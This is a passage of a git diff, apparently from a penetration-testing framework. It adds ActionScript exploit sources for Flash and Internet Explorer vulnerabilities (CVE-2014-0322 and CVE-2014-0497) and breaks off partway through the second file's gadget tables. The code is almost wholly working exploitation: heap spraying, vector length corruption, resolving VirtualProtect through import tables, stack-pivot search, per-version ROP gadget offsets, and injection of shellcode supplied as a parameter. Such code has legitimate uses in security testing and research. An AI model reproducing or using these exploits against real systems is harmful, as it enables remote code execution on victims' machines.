while(this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 0x28) != mark) + { + vector_code_contents_addr = this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 8); + } + return vector_code_contents_addr + 0x2c; // Code address, starting at nops after the mark + } + + // Every vector in the array => 7f0 (header = 8; data => 0x7e8) + function createCodeVectors(mark:uint, nops:uint) : * { + var array:Array = new Array(); + var i:* = 0; + while(i < 8) + { + array[i] = new Vector.(2032 / 4 - 8); + array[i][0] = mark; + array[i][1] = nops; + i++; + } + return array; + } + + function fillCodeVectors(param1:Array, param2:uint) : * { + var i:uint = 0; + var sh:uint=1; + + while(i < param1.length) + { + for(var u:String in shellcodeObj) + { + param1[i][sh++] = Number(shellcodeObj[u]); + } + i++; + sh = 1; + } + } + + } +} + +// Trigger's ActionScript + +/* + +// Action script... + +// [Action in Frame 1] +var b = new flash.display.BitmapData(4, 7); +var filt = new flash.filters.DisplacementMapFilter(b, new flash.geom.Point(1, 2), 1, 2, 3, 4); +var b2 = new flash.display.BitmapData(256, 512); +var filt2 = new flash.filters.DisplacementMapFilter(b2, new flash.geom.Point(1, 2), 1, 2, 3, 4); +var colors = [16777215, 16711680, 16776960, 52479]; +var alphas = [0, 1, 1, 1]; +var ratios = [0, 63, 126, 255]; +var ggf = new flash.filters.GradientGlowFilter(0, 45, colors, alphas, ratios, 55, 55, 2.500000, 2, "outer", false); +var cmf = new flash.filters.ColorMatrixFilter([]); +MyString2.setCMF(cmf); +MyString1.setGGF(ggf); +flash.filters.ColorMatrixFilter.prototype.resetMe = _global.ASnative(2106, 302); +zz = MyString1; +flash.display.BitmapData = zz; +arr = new Array(); +var i = 0; +while (i < 8192) +{ + arr[i] = new Number(0); + ++i; +} // end while +var i = 100; +while (i < 8192) +{ + arr[i] = "qwerty"; + i = i + 8; +} // end while +k = filt.mapBitmap; +zz = MyString2; +flash.display.BitmapData = zz; +k = filt.mapBitmap; +cmf_matrix = cmf.matrix; +cmf_matrix[4] = 8192; +cmf_matrix[15] = 12.080810; +cmf.matrix = cmf_matrix; +ggf_colors = ggf.colors; +ggf_alphas = ggf.alphas; +mem = new Array(); +var i = 0; +while (i < ggf_alphas.length) +{ + ggf_alphas[i] = ggf_alphas[i] * 255; + ++i; +} // end while +for (i = 0; i < ggf_colors.length; i++) +{ + mem[i] = ggf_colors[i] + ggf_alphas[i] * 16777216; +} // end of for +ggf.colors = colors; +ggf.alphas = alphas; +ggf.ratios = ratios; +var lc = new LocalConnection(); +lc.send("toAS3", "as2loaded", mem); +zz = cmf; +zz.resetMe("b", 1, 1, 1); + + +class MyString1 extends String +{ + static var ggf; + function MyString(a,b) + { + super(); + } + + static function setGGF(myggf) + { + ggf = myggf; + } + + static function getGGF() + { + return (MyString1.ggf); + } +} + +class MyString2 extends String +{ + static var cmf; + function MyString2(a,b) + { + super(); + } + + static function setCMF(mycmf) + { + cmf = mycmf; + } + + static function getCMF() + { + return (MyString2.cmf); + } +} + + +*/ diff --git a/external/source/exploits/CVE-2014-0322/AsXploit.as b/external/source/exploits/CVE-2014-0322/AsXploit.as new file mode 100755 index 0000000000..4641b060b4 --- /dev/null +++ b/external/source/exploits/CVE-2014-0322/AsXploit.as @@ -0,0 +1,519 @@ +/* + * MS14-012 Internet Explorer CMarkup Use-After-Free + * Vendor Homepage: http://www.microsoft.com + * Version: IE 10 + * Date: 2014-03-31 + * Exploit Author: Jean-Jamil Khalife + * Tested on: Windows 7 SP1 x64 (fr, en) + * Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77) + * Home: http://www.hdwsec.fr + * Blog : http://www.hdwsec.fr/blog/ + * MS14-012 / CVE-2014-0322 + * + * Generation: + * c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf + * + */ + +package +{ + import __AS3__.vec.Vector; + import flash.display.*; + import flash.events.*; + import flash.external.*; + import flash.media.*; + import flash.net.*; + import flash.text.*; + import flash.utils.*; + import Math; + import flash.system.Security; + import flash.external.ExternalInterface; + + import flash.display.LoaderInfo; + + + public class AsXploit extends Sprite + { + public var s:Vector.; + public var spraysound:Vector.; + public var myTimer:Timer; + public var sound:Sound; + public var shellcodeObj:Array; + + /* + * Prepare the heap + * Trigger the vulnerability + * Exploit :) + */ + public function AsXploit() + { + shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(","); + + /* Prepare the heap */ + init_heap(); + + /* Trigger the vulnerability */ + ExternalInterface.call("trigger"); + + /* Check every second if the vulnerability has triggered */ + myTimer = new Timer(1000, 114096); + myTimer.addEventListener("timer", timerHandler); + myTimer.start(); + } + + /* Prepare the heap + * Spray aligned vector & sound objects + */ + public function init_heap():void + { + var len:int = 0; + var i:int = 0; + + /* Spray the integer array */ + this.s = new Vector.(0x18180); + while (len < 0x18180) + { + this.s[len] = new Vector.(0x1000 / 4 - 16); + for (i=0; i < this.s[len].length; i++) + { + this.s[len][i] = 0x1a1a1a1a; + } + + ++len; + } + + /* Spray sound object ptr */ + this.sound = new Sound(); + this.spraysound = new Vector.(0x100); + + len = 0; + while (len < 0x100) + { + this.spraysound[len] = new Vector.(0x1234); + for (i=0; i < this.spraysound[len].length; i++) + { + this.spraysound[len][i] = this.sound; + } + ++len; + } + } + + /* + * Read an INT value in memory + */ + public function readInt(u1:int, u2:int, mod:uint):int + { + var valres:uint = 0; + + if (mod == 1){ + valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000; + } + else if (mod == 2){ + valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000; + } + else if (mod == 3){ + valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100; + } + else + { + valres = u1; + } + + return valres; + } + + + /* + * Search a stack pivot dynamically + * baseflashaddr_off: flash dll base address offset + * index: index of vectors table + * offset: offset to get the Stackpivot RVA + */ + public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint + { + var sp:uint = 0; + var sn:uint = 0; + var secname:uint = 0; + var sec:uint = 0; + var peindex:uint = 0; + var virtualSize:uint = 0; + var virtualAddr:uint = 0; + var i:uint = 0; + + /* Find .text */ + peindex = this.s[index][baseflashaddr_off+0x3C/4]; + sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16; + + /* Find 0xC394 */ + for (sec=0; sec < sn; sec++) + { + if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E + && this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74) + { + virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3]; + virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2]; + + /* Find a stack pivot */ + for (i=0; i < virtualSize/4; i++) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000 + && (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3) + { + sp = virtualAddr + i*4 + 3; + break; + } + } + else + { + sp = virtualAddr + i*4 + 2; + break; + } + } + else + { + sp = virtualAddr + i*4 + 1; + break; + } + } + else + { + sp = virtualAddr + i*4; + break; + } + } + } + + } + + if (sp != 0) + sp = offset+sp; + + return sp; + } + + /* + * Build & Insert the stack pivot + ROP + Shellcode + * Corrupt sound object vtable ptr + * baseflashaddr_off: flash dll address offset + * index: vectors table index + * cvaddr: corrupted vector address + * virtualprotectaddr: virtual protect address + * sp: stack pivot address + */ + public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void + { + var dec:uint = 0; + var soundobjref:uint = 0; + var soundobjaddr:uint = 0; + var sh:uint=0x300; + var i:uint = 0; + + /* Corrupt sound object vtable ptr */ + while (1) + { + if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234) + { + soundobjref = this.s[index][j+0x0A]; + dec = soundobjref-cvaddr-1; + this.s[index][dec/4-2] = cvaddr+2*4+4*4; + break; + } + + j++; + } + + /* Stack pivot */ + for (i=0; i < 0x200; i++) + this.s[index][i] = sp; + + /* ROP */ + this.s[index][0] = 0x41414141; + this.s[index][1] = 0x41414141; + this.s[index][2] = 0x41414141; + this.s[index][3] = 0x41414141; + this.s[index][4] = virtualprotectaddr; + this.s[index][5] = cvaddr+0xC00+8; + this.s[index][6] = cvaddr; + this.s[index][7] = 0x4000; + this.s[index][8] = 0x40; + this.s[index][9] = 0x1a002000; + + /* Shellcode */ + for(var u:String in shellcodeObj) + { + this.s[index][sh++] = Number(shellcodeObj[u]); + } + } + + + /* + * Get flash module base address + * index: index of vectors table + * cvaddr: corrupted vector address + */ + public function getFlashBaseAddr(index:uint, cvaddr:uint):Array + { + var baseflashaddr_off:uint = 0; + var j:int = 0; + var k:int = 0; + var kmax:uint = 0; + var vtableobj:int = 0; + var ocxinfo:Array = new Array(); + + + while (1) + { + if (this.s[index][j] == 0x00010c00) + { + vtableobj = this.s[index][j+0x08] & 0xFFFF0000; + + /* Get ocx base address */ + k = 0; + while (1) + { + if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D) + { + baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2; + ocxinfo[0] = baseflashaddr_off; + ocxinfo[1] = j; + ocxinfo[2] = k; + ocxinfo[3] = vtableobj; + + return ocxinfo; + } + + k = k + 0x1000; + } + } + + j = j + 0x1; + } + + return ocxinfo; + } + + /* + * Find kernel32.dll index + * index: index of vectors table + * baseflashaddr_off: flash dll address offset + * importsindex: offset to the imports table + */ + public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint + { + var nameindex:uint = 0; + var dllname:int = 0; + var nameaddr:int = 0; + + do + { + nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4]; + + /* kernel32.dll not found */ + if (nameaddr == 0x0) + break; + + dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); + + /* Check kernel32.dll */ + if (dllname == 0x6E72656B || dllname == 0x4E52454B) + { + nameaddr = nameaddr + 4; + dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); + if (dllname == 0x32336C65 || dllname == 0x32334C45) + { + nameaddr = nameaddr + 4; + dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4)); + if (dllname == 0x6C6C642E || dllname == 0x4C4C442E) + { + return nameindex; + } + } + } + + /* Next dll */ + nameindex = nameindex + 0x14; + } + while (1); + + return 0; + } + + /* + * Get VirtualProtectStub() addr + */ + public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint + { + var fct_addr:uint = 0; + var fct_name:uint = 0; + var fct_name_struct:uint = 0; + + do + { + fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4)); + fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4)); + + /* VirtualProtectStub() not found */ + if (fct_addr == 0 || fct_name_struct == 0) + break; + + if ((fct_name_struct & 0x80000000) != 0x80000000) + { + fct_name_struct = fct_name_struct + 2; + fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); + + /* Check VirtualProtect */ + if (fct_name == 0x74726956 || fct_name == 0x54524956) + { + fct_name_struct = fct_name_struct + 4; + fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); + if (fct_name == 0x504c4155 || fct_name == 0x506c6175) + { + fct_name_struct = fct_name_struct + 4; + fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4)); + if (fct_name == 0x45544f52 || fct_name == 0x65746f72) + { + return fct_addr; + } + } + } + } + + /* Next Function() */ + fct_addr_offset = fct_addr_offset + 0x4; + fct_name_offset = fct_name_offset + 0x4; + } + while (1); + + return 0; + } + + /* + * Get corrupted vector index + */ + public function getCorruptedVectorIndex():uint + { + var i:uint = 0; + for (i=0; i < this.s.length; i++) + { + if (this.s[i].length == 0x3FFFFFFF) + { + return i; + } + } + + return i; + } + + /* + * Corrupt next vector size + */ + public function corruptNextVector(index:uint):uint + { + var j:uint = 0; + + for (j=0; j < this.s.length; j++) + { + if (this.s[index][j] == 0x000003F0) + { + this.s[index][j] = 0x3FFFFFFF; + + return j; + } + + j = j + 1; + } + + + + return 0; + } + + /* + * Perform the exploitation + * - Find VirtualProtect() + * - Find a stack pivot + * - Build payload (SP + ROP + SC) + * - Run payload + */ + public function timerHandler(event:TimerEvent):void + { + var i:int = 0; + var j:int = 0; + var k:int = 0; + + var vtableobj:int = 0; + var peindex:int = 0; + var importsindex:int = 0; + var k32index:int = 0; + var fct_name_offset:uint = 0; + var fct_addr_offset:uint = 0; + + var baseflashaddr_off:int = 0; /* Base address of the flash dll */ + var vp_addr:uint = 0; /* VirtualProtectStub() addr */ + var stackpivot:uint = 0; /* Stackpivot address */ + + var cvaddr:int = 0x1a001000; /* corrupted vector address */ + var ocxinfo:Array; + var i2:uint = 0; + + /* Search the corrupted vector */ + for (i=0; i < this.s.length; i++) + { + /* Find corrupted vector */ + if (this.s[i].length == 0x010003f0) + { + this.myTimer.stop(); + + /* Corrupt next vector size */ + if (corruptNextVector(i) == 0) + return; + + /* Find corrupted vector */ + i2 = getCorruptedVectorIndex(); + if (i2 == 0) return; + + /* Get flash base addr */ + ocxinfo = getFlashBaseAddr(i2, cvaddr); + if (ocxinfo.length == 0) return; + baseflashaddr_off = ocxinfo[0]; + j = ocxinfo[1]; + k = ocxinfo[2]; + vtableobj = ocxinfo[3]; + + /* Get imports table */ + peindex = this.s[i2][baseflashaddr_off+0x3C/4]; + importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4]; + + /* Find kernel32.dll */ + k32index = getK32Index(i2, baseflashaddr_off, importsindex); + if (k32index == 0) return; + + fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4]; + fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4]; + + /* Find VirtualProtectStub() addr */ + vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset); + if (vp_addr == 0) return; + + /* Search Stack Pivot */ + stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k); + if (stackpivot == 0) return; + + /* Build Payload */ + buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot); + + /* Run Payload */ + this.sound.toString(); + + return; + } + } + } + } +} diff --git a/external/source/exploits/CVE-2014-0497/Vickers.as b/external/source/exploits/CVE-2014-0497/Vickers.as new file mode 100755 index 0000000000..02db79f39e --- /dev/null +++ b/external/source/exploits/CVE-2014-0497/Vickers.as @@ -0,0 +1,797 @@ +//Compile with mxmlc Vickers.as -o Vickers.swf +package +{ + import flash.display.Sprite; + import flash.system.Capabilities; + import flash.utils.ByteArray; + import __AS3__.vec.Vector; + import flash.system.ApplicationDomain; + import avm2.intrinsics.memory.*; + + public class Vickers extends Sprite + { + + public static var shellcode:String; + + public function Vickers() + { + var params = root.loaderInfo.parameters; + shellcode = params["id"]; + while (true) + { + if (exploit()) break; + }; + } + + public function makePayload(vftableAddr:*, scAddr:*):ByteArray + { + var payload = null; + switch (Capabilities.os.toLowerCase()) + { + case "windows xp": + case "windows vista": + case "windows server 2003 r2": + case "windows server 2003": + case "windows 7": + case "windows 7 x64": + case "windows server 2008 r2": + case "windows server 2008": + payload = makePayloadWinOther(vftableAddr, scAddr); + break; + case "windows 8": + case "windows 8 x64": + payload = makePayloadWin8(vftableAddr, scAddr); + break; + default: + return (null); + }; + return (payload); + } + + public function makePayloadWin8(vftableAddr:*, scAddr:*):ByteArray + { + var flash_base:uint = vftableAddr; + var flash_end:uint; + var rop_payload:ByteArray = new ByteArray(); + rop_payload.position = 0; + rop_payload.endian = "littleEndian"; + rop_payload.writeUnsignedInt((scAddr + 4)); + switch (Capabilities.version.toLowerCase()) + { + case "win 11,3,372,94": + flash_base = (flash_base - 9518744); + flash_end = (flash_base + 0xB10000); + rop_payload.writeUnsignedInt((flash_base + 0x401404)); // add esp, 0x44; ret + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 0x26525)); // xchg eax, esp; ret + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 0x10c5)); // pop eax; ret + rop_payload.writeUnsignedInt((flash_base + 0x817420)); // ptr to KERNEL32!VirtualProtectStub + rop_payload.writeUnsignedInt((flash_base + 0x9e16)); // mov eax, dword ptr [eax]; ret + rop_payload.writeUnsignedInt((flash_base + 0xcc022)); // push eax; ret + rop_payload.writeUnsignedInt((flash_base + 0x3157c)); // jmp esp ; ret after VirtualProtect + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(0x40); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,375,10": + flash_base = (flash_base - 9589392); + flash_end = (flash_base + 0xB15000); + rop_payload.writeUnsignedInt((flash_base + 4220004)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 142215)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8504352)); + rop_payload.writeUnsignedInt((flash_base + 40214)); + rop_payload.writeUnsignedInt((flash_base + 840082)); + rop_payload.writeUnsignedInt((flash_base + 202134)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,376,12": + flash_base = (flash_base - 9593552); + flash_end = (flash_base + 0xB16000); + rop_payload.writeUnsignedInt((flash_base + 4220740)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 142023)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8508448)); + rop_payload.writeUnsignedInt((flash_base + 39878)); + rop_payload.writeUnsignedInt((flash_base + 839538)); + rop_payload.writeUnsignedInt((flash_base + 201958)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,377,15": + flash_base = (flash_base - 9589576); + flash_end = (flash_base + 0xB15000); + rop_payload.writeUnsignedInt((flash_base + 4220388)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 141671)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8504352)); + rop_payload.writeUnsignedInt((flash_base + 39526)); + rop_payload.writeUnsignedInt((flash_base + 839698)); + rop_payload.writeUnsignedInt((flash_base + 201590)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,378,5": + flash_base = (flash_base - 9589448); + flash_end = (flash_base + 0xB15000); + rop_payload.writeUnsignedInt((flash_base + 4220388)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 141671)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8504352)); + rop_payload.writeUnsignedInt((flash_base + 39526)); + rop_payload.writeUnsignedInt((flash_base + 839698)); + rop_payload.writeUnsignedInt((flash_base + 201590)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,379,14": + flash_base = (flash_base - 9597856); + flash_end = (flash_base + 0xB17000); + rop_payload.writeUnsignedInt((flash_base + 4575113)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 6617808)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 8149060)); + rop_payload.writeUnsignedInt((flash_base + 8512544)); + rop_payload.writeUnsignedInt((flash_base + 4907562)); + rop_payload.writeUnsignedInt((flash_base + 8147977)); + rop_payload.writeUnsignedInt((flash_base + 4046601)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,167": + flash_base = (flash_base - 9821704); + flash_end = (flash_base + 0xB85000); + rop_payload.writeUnsignedInt((flash_base + 8405950)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 27456)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8791088)); + rop_payload.writeUnsignedInt((flash_base + 73494)); + rop_payload.writeUnsignedInt((flash_base + 1115794)); + rop_payload.writeUnsignedInt((flash_base + 242790)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,171": + flash_base = (flash_base - 9821904); + flash_end = (flash_base + 0xB85000); + rop_payload.writeUnsignedInt((flash_base + 8406414)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 27456)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8791088)); + rop_payload.writeUnsignedInt((flash_base + 73078)); + rop_payload.writeUnsignedInt((flash_base + 1116754)); + rop_payload.writeUnsignedInt((flash_base + 242380)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,180": + flash_base = (flash_base - 9816600); + flash_end = (flash_base + 0xB84000); + rop_payload.writeUnsignedInt((flash_base + 8404478)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 29514)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 8786992)); + rop_payload.writeUnsignedInt((flash_base + 69382)); + rop_payload.writeUnsignedInt((flash_base + 175197)); + rop_payload.writeUnsignedInt((flash_base + 238732)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,169": + flash_base = (flash_base - 10441412); + flash_end = (flash_base + 0xC45000); + rop_payload.writeUnsignedInt((flash_base + 4640769)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 53338)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 9368732)); + rop_payload.writeUnsignedInt((flash_base + 95414)); + rop_payload.writeUnsignedInt((flash_base + 1145506)); + rop_payload.writeUnsignedInt((flash_base + 2156132)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,202": + flash_base = (flash_base - 0x9f5470); + flash_end = (flash_base + 0xC45000); + rop_payload.writeUnsignedInt((flash_base + 0x46c361)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 0xcc5a)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 0x10c5)); + rop_payload.writeUnsignedInt((flash_base + 0x8ef49c)); + rop_payload.writeUnsignedInt((flash_base + 0x17136)); + rop_payload.writeUnsignedInt((flash_base + 0x42f0)); + rop_payload.writeUnsignedInt((flash_base + 0x40664)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,224": + flash_base = (flash_base - 10450228); + flash_end = (flash_base + 0xC7A000); + rop_payload.writeUnsignedInt((flash_base + 4646881)); + rop_payload.position = 64; + rop_payload.writeUnsignedInt((flash_base + 52090)); + rop_payload.position = 76; + rop_payload.writeUnsignedInt((flash_base + 4293)); + rop_payload.writeUnsignedInt((flash_base + 9376924)); + rop_payload.writeUnsignedInt((flash_base + 93510)); + rop_payload.writeUnsignedInt((flash_base + 1145378)); + rop_payload.writeUnsignedInt((flash_base + 1909483)); + rop_payload.writeUnsignedInt(scAddr); + rop_payload.writeUnsignedInt(0x1000); + rop_payload.writeUnsignedInt(64); + rop_payload.writeUnsignedInt((scAddr - 4)); + break; + default: + return (null); + }; + return (rop_payload); + } + + public function makePayloadWinOther(vftableAddr:*, scAddr:*):ByteArray + { + var vftableAddr_copy:uint = vftableAddr; + var _local_5:uint; + var payload:ByteArray = new ByteArray(); + payload.position = 0; + payload.endian = "littleEndian"; + payload.writeUnsignedInt((scAddr + 4)); + switch (Capabilities.version.toLowerCase()) + { + case "win 11,0,1,152": + vftableAddr_copy = (vftableAddr_copy - 7628676); + _local_5 = (vftableAddr_copy + 0x927000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 1041567)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1937003)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 4585805)); + payload.writeUnsignedInt((vftableAddr_copy + 6697912)); + payload.writeUnsignedInt((vftableAddr_copy + 2201532)); + payload.writeUnsignedInt((vftableAddr_copy + 3985044)); + payload.writeUnsignedInt((vftableAddr_copy + 2764856)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,1,102,55": + vftableAddr_copy = (vftableAddr_copy - 7633040); + _local_5 = (vftableAddr_copy + 0x927000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4793772)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1939267)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 2297101)); + payload.writeUnsignedInt((vftableAddr_copy + 6702008)); + payload.writeUnsignedInt((vftableAddr_copy + 3976335)); + payload.writeUnsignedInt((vftableAddr_copy + 3516263)); + payload.writeUnsignedInt((vftableAddr_copy + 2768033)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,1,102,62": + vftableAddr_copy = (vftableAddr_copy - 7628912); + _local_5 = (vftableAddr_copy + 0x927000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4794156)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1939856)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 5126527)); + payload.writeUnsignedInt((vftableAddr_copy + 6702008)); + payload.writeUnsignedInt((vftableAddr_copy + 2920469)); + payload.writeUnsignedInt((vftableAddr_copy + 4454837)); + payload.writeUnsignedInt((vftableAddr_copy + 2768325)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,1,102,63": + vftableAddr_copy = (vftableAddr_copy - 7628904); + _local_5 = (vftableAddr_copy + 0x927000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4794076)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1939822)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 5126435)); + payload.writeUnsignedInt((vftableAddr_copy + 6702008)); + payload.writeUnsignedInt((vftableAddr_copy + 2353542)); + payload.writeUnsignedInt((vftableAddr_copy + 3516455)); + payload.writeUnsignedInt((vftableAddr_copy + 2768305)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,2,202,228": + vftableAddr_copy = (vftableAddr_copy - 7726032); + _local_5 = (vftableAddr_copy + 0x93F000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4947482)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2022234)); + payload.position = 80; + 